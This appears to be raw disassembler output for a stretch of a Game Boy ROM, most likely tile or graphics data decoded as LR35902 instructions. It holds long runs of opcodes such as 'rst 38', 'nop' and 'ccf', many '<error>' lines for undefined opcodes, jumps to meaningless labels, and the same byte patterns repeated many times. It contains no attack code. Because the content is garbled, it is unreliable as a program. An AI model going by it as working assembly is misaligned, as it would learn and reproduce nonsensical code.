nop
ldh a, [$ff00 + $00]
ldd [hl], a
nop
ld [$0410], sp
jr 0.l_4fe9
rr a
add a, b
ld a, a
ld b, b
ld sp, $211e
nop
ld hl, $4120
ld a, $41
add a, b
ld a, a
inc b
ldhl sp, d
xor b
stop
ld [$0010], a
<error>
nop
ccf
jr nc, 0.l_4ff3
dec d
ld [$1865], sp
nop
rst 38
add a, h
ld bc, $0081
add a, b
nop
ld b, h
add a, d
stop
add a, d
ld b, h
add a, d
nop
rst 38
ld h, a
sbc a, b
sub a, b
ld [$0800], sp
rrc a
nop
add a, b
add a, b
ret nz
ret nz
and b
and b
sbc a, a
sub a, a
ret z
adc a, b
add sp, d
ret nz
di
and c
<error>
or e
ld bc, $0301
inc bc
dec b
dec b
ld sp, hl
jp [hl]
inc de
ld de, $0317
rst 8
add a, l
set 1, l
<error>
or e
<error>
or e
reti
or c
push hl
and c
<error>
xor l
or $bc
jp .l_ffbe
rst 38
set 1, l
set 1, l
sbc a, e
adc a, l
and a
add a, l
or a
or l
ld l, a
dec a
jp .l_ff7d
rst 38
inc b
add hl, bc
ld a, a
dec c
dec sp
ld l, a
ld [hl], b
ccf
rst 20
jr c, 0.l_5034
or b
ld e, b
ldh [$ff00 + $19], a
ld h, b
jr nc, 0.l_5062
or $30
call c, func_0cf6
<error>
push hl
inc e
rl a
dec c
sbc a, d
rlc a
ld c, b
ld b, $26
ld b, b
ldi [hl], a
ret nz
cpl
ld b, b
ld sp, $1840
ldh [$ff00 + $0f], a
jr nc, 0.l_5070
inc e
nop
inc sp
inc a
ld [bc], a
inc l
inc bc
call nz, func_2402
ld [bc], a
sbc a, h
inc bc
ldhl sp, d
ld b, $00
<error>
nop
ld h, $00
rst 38
nop
add a, b
ccf
add a, e
ccf
add a, d
ccf
cp [hl]
ccf
and d
ccf
and d
ccf
and d
ccf
rst 38
ccf
ld hl, $e1ff
rst 38
ld hl, $21ff
rst 38
ld hl, $21e1
rst 38
ccf
ld a, $a2
ccf
and e
inc hl
and e
ccf
cp a
ccf
cp a
ccf
add a, b
nop
add a, b
nop
rst 38
ccf
ccf
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
cp $01
nop
ld bc, $ff00
nop
nop
rst 38
nop
rst 18
ccf
cp a
ld a, a
rst 38
ld a, a
rst 38
ld a, a
rst 38
ld a, a
rst 18
ld a, a
nop
nop
rst 38
nop
ei
<error>
<error>
cp $ff
cp $ff
cp $ff
cp $ff
cp $cd
ld a, [hl]
<error>
ld a, h
rst 30
ld a, b
rst 28
ld [hl], b
<error>
ld h, e
or $4f
ret c
ld a, h
rst 38
rst 38
rst 38
ld a, [hl]
rst 38
ld a, $ff
ld a, $63
<error>
add a, e
jp nz, .l_0203
inc bc
ld [bc], a
rst 38
rst 38
cp a
ld a, a
rst 38
ld a, a
ret nc
rst 28
sub a, b
rst 28
sub a, b
rst 28
sbc a, a
ldh [$ff00 + $bf], a
rst 18
ldh [$ff00 + $bf], a
<error>
cp $ff
cp $0b
rst 30
add hl, bc
rst 30
add hl, bc
rst 30
ld sp, hl
rlc a
<error>
ei
rlc a
<error>
ret nc
rst 28
sub a, b
rst 28
sub a, b
rst 28
sub a, b
rst 28
sbc a, a
ldh [$ff00 + $bf], a
rst 38
ldh [$ff00 + $ff], a
rst 18
ldh [$ff00 + $0b], a
rst 30
add hl, bc
rst 30
add hl, bc
rst 30
add hl, bc
rst 30
ld sp, hl
rlc a
<error>
rst 38
rlc a
rst 38
ei
rlc a
cp a
ret nz
ldh a, [$ff00 + $80]
ldh [$ff00 + $80], a
ret nz
add a, b
ret nz
add a, b
ret nz
add a, b
nop
nop
nop
nop
<error>
inc bc
rrc a
ld bc, $0107
inc bc
ld bc, $0103
inc bc
ld bc, $0000
nop
nop
add a, c
ld a, [hl]
ld b, d
cp l
inc h
<error>
jr 0.l_514f
stop
rst 28
jr nz, 0.l_514b
ld b, b
cp a
add a, b
ld a, a
add a, [hl]
ld a, b
ld e, l
and b
dec de
ret nz
ld h, a
add a, b
rst 28
nop
rst 18
nop
cp a
nop
ld a, a
nop
ld h, c
ld e, $ba
dec b
ret c
inc bc
and $01
rst 28
nop
rst 18
nop
cp a
nop
ld a, a
nop
ld a, [hl]
nop
cp l
nop
<error>
nop
rst 20
nop
rst 28
nop
rst 18
nop
cp a
nop
ld a, a
nop
ld a, $00
sub a, h
nop
adc a, c
nop
ld b, d
nop
and l
nop
ld c, d
nop
nop
nop
nop
nop
nop
rst 38
ld a, [hl]
add a, c
ld a, [hl]
add a, c
ld a, [hl]
add a, c
ld a, [hl]
add a, c
ld a, [hl]
add a, c
ld a, [hl]
add a, c
nop
rst 38
ld bc, $0201
ld [bc], a
dec b
inc b
add hl, bc
ld [$e8ec], sp
sbc a, [hl]
sbc a, b
jp z, .l_a888
ret z
nop
nop
add a, b
add a, b
ld c, [hl]
ld c, [hl]
ldd [hl], a
ldd [hl], a
ld h, [hl]
ldi [hl], a
xor [hl]
ld h, d
inc l
<error>
scf
rst 28
ld e, h
ld l, b
ld l, $38
ld a, e
ld a, c
sbc a, d
sbc a, d
adc a, $8a
ld l, [hl]
ld c, d
ld [hl], $3e
dec b
inc bc
dec hl
ld sp, hl
or c
di
ld h, [hl]
ld h, d
ld l, d
ld h, $ec
inc h
<error>
inc l
cp b
ld a, b
ret nc
ldh [$ff00 + $80], a
add a, b
add a, b
add a, b
add a, b
add a, b
rst 38
add a, e
rst 38
add a, h
rst 38
adc a, b
rst 38
adc a, b
rst 38
adc a, b
ld bc, $0101
ld bc, $0101
rst 38
pop bc
rst 38
ld hl, $11ff
rst 38
ld de, $11ff
rst 38
sbc a, h
rst 30
and b
rst 28
ret z
rst 38
ldhl sp, d
cp $88
rst 38
adc a, c
ld sp, hl
adc a, c
rst 38
rst 38
rst 38
add hl, sp
rst 28
dec b
rst 30
inc de
rst 38
rr a
ld a, a
ld de, $91ff
sbc a, a
sub a, c
rst 38
rst 38
inc b
add hl, bc
ld a, a
dec c
dec sp
ld l, a
ld [hl], b
ccf
rst 20
jr c, 0.l_5234
or b
ld e, b
ldh [$ff00 + $19], a
ld h, b
jr nc, 0.l_5262
or $30
call c, func_0cf6
<error>
push hl
inc e
rl a
dec c
sbc a, d
rlc a
ld c, b
ld b, $26
ld b, b
ldi [hl], a
ret nz
cpl
ld b, b
ld sp, $1840
ldh [$ff00 + $0f], a
jr nc, 0.l_5270
inc e
nop
inc sp
inc a
ld [bc], a
inc l
inc bc
call nz, func_2402
ld [bc], a
sbc a, h
inc bc
ldhl sp, d
ld b, $00
<error>
nop
ld h, $00
rst 38
nop
add a, b
ccf
add a, e
ccf
add a, d
ccf
cp [hl]
ccf
and d
ccf
and d
ccf
and d
ccf
rst 38
ccf
ld hl, $e1ff
rst 38
ld hl, $21ff
rst 38
ld hl, $21e1
rst 38
ccf
ld a, $a2
ccf
and e
inc hl
and e
ccf
cp a
ccf
cp a
ccf
add a, b
nop
add a, b
nop
rst 38
ccf
ccf
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
cp $01
nop
ld bc, $ff00
rst 38
rst 38
sbc a, a
add a, c
rst 20
add a, b
ldhl sp, d
add a, b
ei
add a, e
ei
sub a, e
ld sp, hl
or c
cp c
and c
rst 38
rst 38
ld sp, hl
add a, c
pop hl
rlc a
ld bc, $c11f
rst 18
ret
rst 18
adc a, l
sbc a, a
add a, a
sbc a, l
cp b
add a, b
ldh a, [$ff00 + $87]
pop hl
adc a, a
pop bc
sbc a, a
add a, c
cp a
add a, c
cp [hl]
add a, b
rst 38
rst 38
rst 38
inc bc
dec e
ld de, $89ef
rst 30
add a, l
ei
add a, e
<error>
add a, e
ld a, l
ld bc, $ffff
rst 38
nop
nop
rst 38
nop
rst 18
ccf
cp a
ld a, a
rst 38
ld a, a
rst 38
ld a, a
rst 38
ld a, h
rst 38
ld a, b
nop
nop
rst 38
nop
ei
<error>
<error>
add a, [hl]
rst 18
add a, d
xor a
jp nz, .l_e297
bit 6, d
ei
ld [hl], b
<error>
ld a, b
pop af
ld a, [hl]
<error>
ld a, a
<error>
ld b, a
pop bc
ld b, b
ret nz
ld b, b
rst 38
rst 38
rst 20
ldd a, [hl]
di
ld e, $3b
ld c, $4f
add a, [hl]
sub a, a
ldh [c], a
ld [hl], e
cp $2f
ld e, $ff
cp $00
nop
rst 30
ldhl sp, d
sbc a, b
rst 28
adc a, a
rst 30
ld c, a
ldhl sp, d
jr nc, 0.l_534b
cpl
rst 38
dec l
<error>
nop
nop
rst 28
rr a
dec e
di
pop af
rst 28
<error>
rr a
inc c
rst 38
<error>
rst 38
or h
cp a
daa
rst 38
pop hl
rst 38
ld hl, $79ff
rst 38
rst 20
rst 18
ret nz
cp a
add a, c
rst 38
rst 38
rst 38
<error>
rst 38
add a, a
rst 38
add a, h
rst 38
sbc a, [hl]
rst 38
rst 20
ei
inc bc
<error>
add a, c
rst 38
rst 38
rst 38
rst 38
ld b, $df
rst 20
rst 28
rst 30
<error>
rst 38
ld c, h
ld a, a
and b
ccf
ld [hl], c
sbc a, a
jr nc, 0.l_536f
rst 38
jr nc, 0.l_5390
di
ei
rst 30
sbc a, a
rst 38
ld a, [de]
cp $05
<error>
ld c, $f9
inc c
ei
jr c, 0.l_5381
<error>
rst 38
jr nc, 0.l_53e5
ldd a, [hl]
rst 18
jr c, 0.l_5389
rr a
rst 38
rst 28
ldh a, [$ff00 + $df]
ldh [$ff00 + $1c], a
ei
ld c, a
rst 38
inc c
<error>
ld e, a
ldhl sp, d
inc e
ei
ldhl sp, d
rst 38
rst 30
rrc a
ei
rlc a
nop
nop
rst 38
nop
rst 18
ccf
cp a
ld a, a
rst 38
ld a, a
rst 38
ld a, a
rst 38
ld a, a
rst 18
ld a, a
nop
nop
rst 38
nop
ei
<error>
<error>
cp $ff
cp $ff
cp $ff
cp $ff
cp $cd
ld a, [hl]
<error>
ld a, h
rst 30
ld a, b
rst 28
ld [hl], b
<error>
ld h, e
or $4f
ret c
ld a, h
rst 38
rst 38
rst 38
ld a, [hl]
rst 38
ld a, $ff
ld a, $63
<error>
add a, e
jp nz, .l_0203
inc bc
ld [bc], a
rst 38
rst 38
rst 38
cp $9d
pop hl
sbc a, l
pop hl
xor c
pop de
xor c
pop de
sbc a, c
pop hl
sbc a, l
pop hl
sbc a, l
pop hl
adc a, c
pop af
xor c
pop de
xor c
pop de
cp l
<error>
jp .l_81c3
sbc a, c
add a, c
and l
add a, c
and l
rst 38
ld a, a
cp c
add a, a
cp c
add a, a
sub a, l
adc a, e
sub a, l
adc a, e
sbc a, c
add a, a
cp c
add a, a
cp c
add a, a
sub a, c
adc a, a
sub a, l
adc a, e
sub a, l
adc a, e
cp l
cp a
jp .l_81c3
sbc a, c
add a, c
and l
add a, c
and l
rst 38
rst 38
jr 0.l_5443
nop
rst 38
rst 38
rst 38
rst 38
nop
nop
jr c, 0.l_544c
rst 28
jr c, 0.l_5478
jr c, 0.l_547a
jr c, 0.l_547c
jr c, 0.l_547e
rst 38
rst 38
nop
rst 38
rst 38
nop
nop
nop
nop
nop
nop
nop
nop
nop
rst 38
nop
nop
rst 38
rst 38
rst 38
jr c, 0.l_5494
jr c, 0.l_5496
jr c, 0.l_5498
jr c, 0.l_549a
rst 38
rst 28
nop
jr c, 0.l_5476
nop
rst 38
rst 38
nop
rst 38
jr 0.l_547d
rst 38
rst 38
inc a
inc a
ld e, d
ld h, [hl]
ld h, [hl]
ld b, d
ld h, [hl]
ld b, d
ld e, d
ld h, [hl]
ld h, [hl]
ld a, [hl]
inc a
inc a
nop
nop
nop
nop
adc a, $ce
<error>
<error>
<error>
<error>
<error>
<error>
<error>
<error>
adc a, $ce
nop
nop
nop
nop
ldi [hl], a
ldi [hl], a
inc d
inc d
ld [$0808], sp
ld [$1414], sp
ldi [hl], a
ldi [hl], a
nop
nop
nop
nop
rst 38
nop
nop
rst 38
rst 38
rst 38
and c
rst 38
and l
rst 38
add a, l
rst 38
rst 38
rst 38
inc a
inc a
ld h, $26
dec h
dec h
inc h
inc h
<error>
<error>
and h
and h
cp h
cp h
cp [hl]
and d
nop
nop
nop
nop
nop
nop
add a, b
add a, b
cp $fe
add a, d
add a, d
add a, d
add a, d
add a, d
add a, d
cp a
and c
cp a
and b
cp a
cp a
add a, b
add a, b
rst 38
add a, b
rst 38
rst 38
sub a, d
rst 38
rst 38
rst 38
add a, d
add a, d
add a, d
add a, d
add a, d
add a, d
ld [bc], a
ld [bc], a
cp $02
cp $fe
ld c, d
cp $fe
cp $fa
call c, func_f22d
inc e
pop hl
ret c
ld hl, $21d0
ret nz
ld sp, $72e8
sub a, b
<error>
sub a, b
<error>
sub a, b
<error>
or b
call nz, func_8278
call nz, func_8201
ld bc, $0100
ld bc, $5f00
ccf
or b
ld c, a
jr c, 0.l_54ad
dec e
add a, d
dec de
add a, h
dec bc
add a, h
rlc a
ld c, [hl]
add hl, bc
scf
add hl, bc
daa
add hl, bc
daa
dec c
inc hl
ld e, $41
inc hl
add a, b
ld b, c
add a, b
nop
add a, b
add a, b
nop
inc b
add hl, bc
ld a, a
dec c
dec sp
ld l, a
ld [hl], b
ccf
rst 20
jr c, 0.l_5534
or b
ld e, b
ldh [$ff00 + $19], a
ld h, b
jr nc, 0.l_5562
or $30
call c, func_0cf6
<error>
push hl
inc e
rl a
dec c
sbc a, d
rlc a
ld c, b
ld b, $26
ld b, b
ldi [hl], a
ret nz
cpl
ld b, b
ld sp, $1840
ldh [$ff00 + $0f], a
jr nc, 0.l_5570
inc e
nop
inc sp
inc a
ld [bc], a
inc l
inc bc
call nz, func_2402
ld [bc], a
sbc a, h
inc bc
ldhl sp, d
ld b, $00
<error>
nop
ld h, $00
rst 38
nop
add a, b
ccf
add a, e
ccf
add a, d
ccf
cp [hl]
ccf
and d
ccf
and d
ccf
and d
ccf
rst 38
ccf
ld hl, $e1ff
rst 38
ld hl, $21ff
rst 38
ld hl, $21e1
rst 38
ccf
ld a, $a2
ccf
and e
inc hl
and e
ccf
cp a
ccf
cp a
ccf
add a, b
nop
add a, b
nop
rst 38
ccf
ccf
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
cp $01
nop
ld bc, $ff00
ld bc, $0201
ld [bc], a
dec b
inc b
add hl, bc
ld [$e8ec], sp
sbc a, [hl]
sbc a, b
jp z, .l_a888
ret z
nop
nop
add a, b
add a, b
ld c, [hl]
ld c, [hl]
ldd [hl], a
ldd [hl], a
ld h, [hl]
ldi [hl], a
xor [hl]
ld h, d
inc l
<error>
scf
rst 28
ld e, h
ld l, b
ld l, $38
ld a, e
ld a, c
sbc a, d
sbc a, d
adc a, $8a
ld l, [hl]
ld c, d
ld [hl], $3e
dec b
inc bc
dec hl
ld sp, hl
or c
di
ld h, [hl]
ld h, d
ld l, d
ld h, $ec
inc h
<error>
inc l
cp b
ld a, b
ret nc
ldh [$ff00 + $80], a
add a, b
ret nz
ret nz
and b
and b
sbc a, a
sub a, a
ret z
adc a, b
add sp, d
ret nz
di
and c
<error>
or e
ld bc, $0301
inc bc
dec b
dec b
ld sp, hl
jp [hl]
inc de
ld de, $0317
rst 8
add a, l
set 1, l
<error>
or e
<error>
or e
reti
or c
push hl
and c
<error>
xor l
or $bc
jp .l_ffbe
rst 38
set 1, l
set 1, l
sbc a, e
adc a, l
and a
add a, l
or a
or l
ld l, a
dec a
jp .l_ff7d
rst 38
ld a, [hl]
rst 38
<error>
ccf
ret c
rst 38
nop
rst 38
nop
rst 38
dec c
<error>
rst 38
nop
nop
nop
rst 20
ldhl sp, d
jr nc, 0.l_5653
rr a
rst 38
rr a
rst 28
ccf
rst 8
rst 38
rr a
rst 38
ccf
rst 38
rst 38
rst 20
rr a
inc c
rst 38
ldhl sp, d
rst 38
ldhl sp, d
rst 30
<error>
di
rst 38
ldhl sp, d
rst 38
<error>
rst 38
rst 38
rst 38
nop
nop
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
nop
nop
rst 38
nop
dec c
<error>
nop
rst 38
nop
rst 38
ret c
rst 38
<error>
ccf
ld a, [hl]
rst 38
rst 38
rst 38
rst 38
ccf
rst 38
rr a
ccf
rst 8
rr a
rst 28
rr a
rst 38
jr nc, 0.l_569d
rst 20
ldhl sp, d
rst 38
rst 38
rst 38
<error>
rst 38
ldhl sp, d
<error>
di
ldhl sp, d
rst 30
ldhl sp, d
rst 38
inc c
rst 38
rst 20
rr a
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
nop
rst 38
rst 38
nop
rst 38
rst 38
sbc a, a
add a, c
rst 20
add a, b
ldhl sp, d
add a, b
ei
add a, e
ei
sub a, e
ld sp, hl
or c
cp c
and c
rst 38
rst 38
ld sp, hl
add a, c
pop hl
rlc a
ld bc, $c11f
rst 18
ret
rst 18
adc a, l
sbc a, a
add a, a
sbc a, l
cp b
add a, b
ldh a, [$ff00 + $87]
pop hl
adc a, a
pop bc
sbc a, a
add a, c
cp a
add a, c
cp [hl]
add a, b
rst 38
rst 38
rst 38
inc bc
dec e
ld de, $89ef
rst 30
add a, l
ei
add a, e
<error>
add a, e
ld a, l
ld bc, $ffff
rst 38
nop
nop
rst 38
nop
rst 18
ccf
cp a
ld a, a
rst 38
ld a, a
rst 38
ld a, a
rst 38
ld a, h
rst 38
ld a, b
nop
nop
rst 38
nop
ei
<error>
<error>
add a, [hl]
rst 18
add a, d
xor a
jp nz, .l_e297
bit 6, d
ei
ld [hl], b
<error>
ld a, b
pop af
ld a, [hl]
<error>
ld a, a
<error>
ld b, a
pop bc
ld b, b
ret nz
ld b, b
rst 38
rst 38
rst 20
ldd a, [hl]
di
ld e, $3b
ld c, $4f
add a, [hl]
sub a, a
ldh [c], a
ld [hl], e
cp $2f
ld e, $ff
cp $ff
rst 28
rst 38
rst 28
rst 38
rst 38
add a, e
add a, b
or b
add a, b
rst 38
rst 38
rst 38
rst 28
rst 38
rst 28
rst 38
rst 30
rst 38
rst 30
rst 38
rst 38
ld bc, $1901
ld bc, $ffff
rst 38
rst 30
rst 38
rst 30
rst 38
rst 38
jp nz, .l_ffc0
rst 38
sub a, b
add a, b
rst 38
rst 38
add a, b
add a, b
rst 38
rst 38
jp nz, .l_ffc0
rst 38
inc de
inc bc
rst 38
rst 38
ld hl, $ff01
rst 38
inc bc
inc bc
rst 38
rst 38
add hl, bc
ld bc, $ffff
add a, b
add a, b
sbc a, e
add a, e
cp $fe
ldhl sp, d
ldhl sp, d
ei
ei
<error>
ld sp, hl
cp $fc
rst 38
rst 38
inc sp
inc bc
jp .l_7fc3
ld a, a
rst 38
rst 38
rst 18
rst 18
cp a
sbc a, a
ld a, a
ccf
<error>
<error>
ei
ld sp, hl
ei
ei
rst 38
rst 38
cp $fe
cp $fe
rst 38
rst 38
call z, func_3fc0
ccf
rst 18
sbc a, a
rst 18
rst 18
ccf
rr a
ld a, a
ld a, a
ld a, a
ld a, a
rst 38
rst 38
add hl, de
ld bc, $ffff
sbc a, a
add a, c
rst 20
add a, b
ldhl sp, d
add a, b
ei
add a, e
ei
sub a, e
ld sp, hl
or c
cp c
and c
rst 38
rst 38
ld sp, hl
add a, c
pop hl
rlc a
ld bc, $c11f
rst 18
ret
rst 18
adc a, l
sbc a, a
add a, a
sbc a, l
cp b
add a, b
ldh a, [$ff00 + $87]
pop hl
adc a, a
pop bc
sbc a, a
add a, c
cp a
add a, c
cp [hl]
add a, b
rst 38
rst 38
rst 38
inc bc
dec e
ld de, $89ef
rst 30
add a, l
ei
add a, e
<error>
add a, e
ld a, l
ld bc, $ffff
rst 38
rst 38
cp $9d
pop hl
sbc a, l
pop hl
xor c
pop de
xor c
pop de
sbc a, c
pop hl
sbc a, l
pop hl
sbc a, l
pop hl
adc a, c
pop af
xor c
pop de
xor c
pop de
cp l
<error>
jp .l_81c3
sbc a, c
add a, c
and l
add a, c
and l
rst 38
ld a, a
cp c
add a, a
cp c
add a, a
sub a, l
adc a, e
sub a, l
adc a, e
sbc a, c
add a, a
cp c
add a, a
cp c
add a, a
sub a, c
adc a, a
sub a, l
adc a, e
sub a, l
adc a, e
cp l
cp a
jp .l_81c3
sbc a, c
add a, c
and l
add a, c
and l
rst 38
rst 38
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
nop
nop
nop
rst 38
rst 38
rst 38
nop
rst 38
rst 38
nop
ldh [$ff00 + $80], a
rst 38
add a, b
cp a
ret nz
rst 38
rst 38
ret nz
ld a, a
cp a
ld a, a
nop
nop
rst 38
nop
rlc a
ld bc, $01ff
<error>
inc bc
rst 38
rst 38
inc bc
cp $fc
cp $00
nop
rst 38
nop
nop
nop
ld a, a
ccf
ld [hl], b
ld l, a
ld h, b
ld e, a
ld h, a
ld e, a
ld a, b
ld a, b
ld c, e
ld c, b
ld a, a
ld a, a
nop
nop
cp $fc
ld b, $fe
ld [bc], a
cp $e2
cp $1e
ld e, $d2
ld [de], a
cp $fe
ret nz
add a, b
ret nz
add a, b
cp $80
ldh [$ff00 + $80], a
ret nz
add a, b
ret nz
add a, b
ret nz
add a, b
ret nz
add a, b
inc bc
ld bc, $0103
rlc a
ld bc, $0103
inc bc
ld bc, $0103
inc bc
ld bc, $0103
rr a
rr a
ccf
jr nz, 0.l_5944
ld b, b
ld a, a
ld b, b
ld a, a
ld b, b
ld a, a
ld b, b
ld a, a
ld b, b
ld a, a
ld b, b
ldhl sp, d
ldhl sp, d
<error>
inc b
cp $02
cp $02
cp $02
cp $02
cp $02
cp $02
ld a, a
ld b, b
ld e, a
ld b, b
ld l, a
ld b, b
ld d, b
ld h, b
jr nz, 0.l_5929
ccf
ccf
dec l
inc sp
ccf
ld e, $fe
ld [bc], a
ld a, [$f602]
ld [bc], a
ld a, [bc]
ld b, $04
<error>
<error>
<error>
or h
call z, func_78fc
inc bc
inc bc
inc b
inc b
ld a, [bc]
ld [$1015], sp
inc l
ld hl, $4558
ld d, d
ld c, c
ld d, d
ld c, c
ret nz
ret nz
jr nz, 0.l_5934
ld d, b
stop
xor b
ld [$a414], sp
ld a, [bc]
or d
ld h, $9a
ld b, d
sbc a, d
ld c, d
ld b, c
ld [hl], e
ld b, b
add sp, d
ld d, b
ldh [c], a
ld e, c
pop bc
ld a, e
push hl
dec sp
ld [hl], h
dec de
ccf
rrc a
ld b, [hl]
sub a, d
jp z, .l_1b06
ld c, $2b
sbc a, $bf
sbc a, $bf
call c, func_d83e
<error>
ldh a, [$ff00 + $04]
add hl, bc
ld a, a
dec c
dec sp
ld l, a
ld [hl], b
ccf
rst 20
jr c, 0.l_5934
or b
ld e, b
ldh [$ff00 + $19], a
ld h, b
jr nc, 0.l_5962
or $30
call c, func_0cf6
<error>
push hl
inc e
rl a
dec c
sbc a, d
rlc a
ld c, b
ld b, $26
ld b, b
ldi [hl], a
ret nz
cpl
ld b, b
ld sp, $1840
ldh [$ff00 + $0f], a
jr nc, 0.l_5970
inc e
nop
inc sp
inc a
ld [bc], a
inc l
inc bc
call nz, func_2402
ld [bc], a
sbc a, h
inc bc
ldhl sp, d
ld b, $00
<error>
nop
ld h, $00
nop
nop
rr a
rr a
jr nz, 0.l_59c6
ld b, b
ccf
ld b, b
inc a
ld b, e
jr c, 0.l_59d5
jr c, 0.l_59d7
nop
nop
nop
ldhl sp, d
ldhl sp, d
inc b
<error>
ld [bc], a
<error>
ld [bc], a
inc a
jp nz, .l_e21c
inc e
ldh [c], a
jr c, 0.l_59e9
jr c, 0.l_59eb
inc a
ld b, e
ccf
ld b, b
ccf
ld b, b
rr a
jr nz, 0.l_59ad
rr a
nop
nop
inc e
ldh [c], a
inc e
ldh [c], a
inc a
jp nz, .l_02fc
<error>
ld [bc], a
ldhl sp, d
inc b
nop
ldhl sp, d
nop
nop
rst 38
rst 38
sbc a, a
add a, c
rst 20
add a, b
ldhl sp, d
add a, b
ei
add a, e
ei
sub a, e
ld sp, hl
or c
cp c
and c
rst 38
rst 38
ld sp, hl
add a, c
pop hl
rlc a
ld bc, $c11f
rst 18
ret
rst 18
adc a, l
sbc a, a
add a, a
sbc a, l
cp b
add a, b
ldh a, [$ff00 + $87]
pop hl
adc a, a
pop bc
sbc a, a
add a, c
cp a
add a, c
cp [hl]
add a, b
rst 38
rst 38
rst 38
inc bc
dec e
ld de, $89ef
rst 30
add a, l
ei
add a, e
<error>
add a, e
ld a, l
ld bc, $ffff
rst 38
add a, b
add a, b
ret nz
ret nz
and b
and b
sbc a, a
sub a, a
ret z
adc a, b
add sp, d
ret nz
di
and c
<error>
or e
ld bc, $0301
inc bc
dec b
dec b
ld sp, hl
jp [hl]
inc de
ld de, $0317
rst 8
add a, l
set 1, l
<error>
or e
<error>
or e
reti
or c
push hl
and c
<error>
xor l
or $bc
jp .l_ffbe
rst 38
set 1, l
set 1, l
sbc a, e
adc a, l
and a
add a, l
or a
or l
ld l, a
dec a
jp .l_ff7d
rst 38
inc bc
inc bc
inc b
inc b
ld a, [bc]
ld [$1015], sp
inc l
ld hl, $4558
ld d, d
ld c, c
ld d, d
ld c, c
ret nz
ret nz
jr nz, 0.l_5a74
ld d, b
stop
xor b
ld [$a414], sp
ld a, [bc]
or d
ld h, $9a
ld b, d
sbc a, d
ld c, d
ld b, c
ld [hl], e
ld b, b
add sp, d
ld d, b
ldh [c], a
ld e, c
pop bc
ld a, e
push hl
dec sp
ld [hl], h
dec de
ccf
rrc a
ld b, [hl]
sub a, d
jp z, .l_1b06
ld c, $2b
sbc a, $bf
sbc a, $bf
call c, func_d83e
<error>
ldh a, [$ff00 + $00]
rst 38
nop
add a, b
ccf
add a, e
ccf
add a, d
ccf
cp [hl]
ccf
and d
ccf
and d
ccf
and d
ccf
rst 38
ccf
ld hl, $e1ff
rst 38
ld hl, $21ff
rst 38
ld hl, $21e1
rst 38
ccf
ld a, $a2
ccf
and e
inc hl
and e
ccf
cp a
ccf
cp a
ccf
add a, b
nop
add a, b
nop
rst 38
ccf
ccf
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
cp $01
nop
ld bc, $ff00
rst 38
rst 38
sbc a, a
add a, c
rst 20
add a, b
ldhl sp, d
add a, b
ei
add a, e
ei
sub a, e
ld sp, hl
or c
cp c
and c
rst 38
rst 38
ld sp, hl
add a, c
pop hl
rlc a
ld bc, $c11f
rst 18
ret
rst 18
adc a, l
sbc a, a
add a, a
sbc a, l
cp b
add a, b
ldh a, [$ff00 + $87]
pop hl
adc a, a
pop bc
sbc a, a
add a, c
cp a
add a, c
cp [hl]
add a, b
rst 38
rst 38
rst 38
inc bc
dec e
ld de, $89ef
rst 30
add a, l
ei
add a, e
<error>
add a, e
ld a, l
ld bc, $ffff
rst 38
add a, b
add a, b
add a, b
add a, b
add a, b
add a, b
rst 38
add a, e
rst 38
add a, h
rst 38
adc a, b
rst 38
adc a, b
rst 38
adc a, b
ld bc, $0101
ld bc, $0101
rst 38
pop bc
rst 38
ld hl, $11ff
rst 38
ld de, $11ff
rst 38
sbc a, h
rst 30
and b
rst 28
ret z
rst 38
ldhl sp, d
cp $88
rst 38
adc a, c
ld sp, hl
adc a, c
rst 38
rst 38
rst 38
add hl, sp
rst 28
dec b
rst 30
inc de
rst 38
rr a
ld a, a
ld de, $91ff
sbc a, a
sub a, c
rst 38
rst 38
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
rst 38
nop
add a, b
ccf
add a, e
ccf
add a, d
ccf
cp [hl]
ccf
and d
ccf
and d
ccf
and d
ccf
rst 38
ccf
ld hl, $e1ff
rst 38
ld hl, $21ff
rst 38
ld hl, $21e1
rst 38
ccf
ld a, $a2
ccf
and e
inc hl
and e
ccf
cp a
ccf
cp a
ccf
add a, b
nop
add a, b
nop
rst 38
ccf
ccf
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
cp $01
nop
ld bc, $ff00
nop
nop
rst 38
nop
rst 18
ccf
cp a
ld a, a
rst 38
ld a, a
rst 38
ld a, a
rst 38
ld a, a
rst 18
ld a, a
nop
nop
rst 38
nop
ei
<error>
<error>
cp $ff
cp $ff
cp $ff
cp $ff
cp $cd
ld a, [hl]
<error>
ld a, h
rst 30
ld a, b
rst 28
ld [hl], b
<error>
ld h, e
or $4f
ret c
ld a, h
rst 38
rst 38
rst 38
ld a, [hl]
rst 38
ld a, $ff
ld a, $63
<error>
add a, e
jp nz, .l_0203
inc bc
ld [bc], a
rst 38
rst 38
ld a, [$2ddc]
<error>
inc e
pop hl
ret c
ld hl, $21d0
ret nz
ld sp, $72e8
sub a, b
<error>
sub a, b
<error>
sub a, b
<error>
or b
call nz, func_8278
call nz, func_8201
ld bc, $0100
ld bc, $5f00
ccf
or b
ld c, a
jr c, 0.l_5bad
dec e
add a, d
dec de
add a, h
dec bc
add a, h
rlc a
ld c, [hl]
add hl, bc
scf
add hl, bc
daa
add hl, bc
daa
dec c
inc hl
ld e, $41
inc hl
add a, b
ld b, c
add a, b
nop
add a, b
add a, b
nop
inc b
add hl, bc
ld a, a
dec c
dec sp
ld l, a
ld [hl], b
ccf
rst 20
jr c, 0.l_5c34
or b
ld e, b
ldh [$ff00 + $19], a
ld h, b
jr nc, 0.l_5c62
or $30
call c, func_0cf6
<error>
push hl
inc e
rl a
dec c
